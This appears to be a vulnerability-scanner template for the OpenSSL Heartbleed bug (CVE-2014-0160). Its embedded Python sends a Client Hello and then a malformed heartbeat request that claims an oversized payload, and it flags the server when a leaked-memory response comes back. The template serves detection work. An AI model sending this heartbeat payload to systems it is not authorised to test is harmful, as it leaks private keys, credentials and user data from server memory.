id: CVE-2014-0160

info:
  name: OpenSSL Heartbleed Vulnerability
  author: pussycat0x
  severity: high
  description: |
    The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software. This compromises the secret keys used to identify the service providers and to encrypt the traffic, the names and passwords of the users, and the actual content. This allows attackers to eavesdrop on communications, steal data directly from the services and users, and impersonate services and users.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2014-0160
  metadata:
    verified: true
  tags: cve,cve2014,openssl,heartbleed,code

variables:
  url: "{{RootURL}}"

code:
  - engine:
      - py
      - python3
    source: |
      import os
      import struct
      import socket
      import time
      import select
      from urllib.parse import urlparse

      def h2bin(x):
          return bytes.fromhex(x.replace(' ', '').replace('\n', ''))

      hello = h2bin('''
      16 03 02 00  dc 01 00 00 d8 03 02 53
      43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
      bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
      00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
      00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
      c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
      c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
      c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
      c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
      00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
      03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
      00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
      00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
      00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
      00 0f 00 01 01
      ''')

      hb = h2bin('''
      18 03 02 00 03
      01 40 00
      ''')

      def recvall(s, length, timeout=5):
          endtime = time.time() + timeout
          rdata = b''
          remain = length
          while remain > 0:
              rtime = endtime - time.time()
              if rtime < 0:
                  return None
              r, _, _ = select.select([s], [], [], 5)
              if s in r:
                  data = s.recv(remain)
                  if not data:
                      return None
                  rdata += data
                  remain -= len(data)
          return rdata

      def recvmsg(s):
          hdr = recvall(s, 5)
          if hdr is None:
              return None, None, None
          typ, ver, ln = struct.unpack('>BHH', hdr)
          pay = recvall(s, ln, 10)
          if pay is None:
              return None, None, None
          return typ, ver, pay

      def hit_hb(s):
          s.send(hb)
          while True:
              typ, ver, pay = recvmsg(s)
              if typ is None:
                  return False
              if typ == 24:  # Heartbeat response
                  if len(pay) > 3:
                      print('server is vulnerable')
                      return True
                  return False
              if typ == 21:  # Server alert
                  return False

      def main():
          # Get the URL from the environment variable
          url = os.getenv('url')
          if not url:
              print("URL environment variable is not set.")
              return

          # Parse the URL
          parsed_url = urlparse(url)
          host = parsed_url.hostname
          port = parsed_url.port if parsed_url.port else 443

          if not host:
              return

          # Create a socket connection
          s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          s.connect((host, port))

          # Send Client Hello
          s.send(hello)

          # Wait for Server Hello
          while True:
              typ, ver, pay = recvmsg(s)
              if typ is None:
                  return
              if typ == 22 and pay[0] == 0x0E:  # Server hello done
                  break

          # Send Heartbeat request and check vulnerability
          s.send(hb)
          hit_hb(s)

      if __name__ == '__main__':
          main()

    matchers:
      - type: dsl
        dsl:
          - "contains(response,'server is vulnerable')"
# digest: 4a0a00473045022100dbbea58d04f9d75d0256102028ede5d7bf09a90175cb7dfcc7a394a9cb017e4c02205fdba48a22acce8f57cc53b0e6e2a79711a5f7d8515c4bce365d17d7b5048d56:922c64590222798bb761d5b6d8e72950